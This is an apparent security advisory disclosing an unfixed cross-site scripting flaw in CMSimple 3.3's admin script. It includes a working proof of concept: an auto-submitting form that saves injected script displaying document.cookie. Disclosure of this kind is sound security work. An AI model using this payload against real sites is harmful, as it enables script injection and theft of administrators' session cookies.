Vulnerability ID: HTB22560 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cmsimple_2.html Product: CMSimple Vendor: Peter Andreas Harteg ( http://www.cmsimple.org/ ) Vulnerable Version: 3.3 and Probably Prior Versions Vendor Notification: 02 August 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/cmsimple/adm.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/" method="post" name="main" > <input type="hidden" name="text" value='<html><head><title>The name of the site - Content</title><meta name="keywords" content="key"><meta name="description" content="description"><meta http-equiv="content-type" content="text/html;charset=UTF-8"><link rel="stylesheet" href="./templates/default/stylesheet.css" type="text/css"></head><body><H1>Welcome</H1><P>code and <script>alert(document.cookie)</script></P></body></html>' /> <input type="hidden" name="file" value="content" /> <input type="hidden" name="action" value="save" /> </form> <script> document.main.submit(); </script>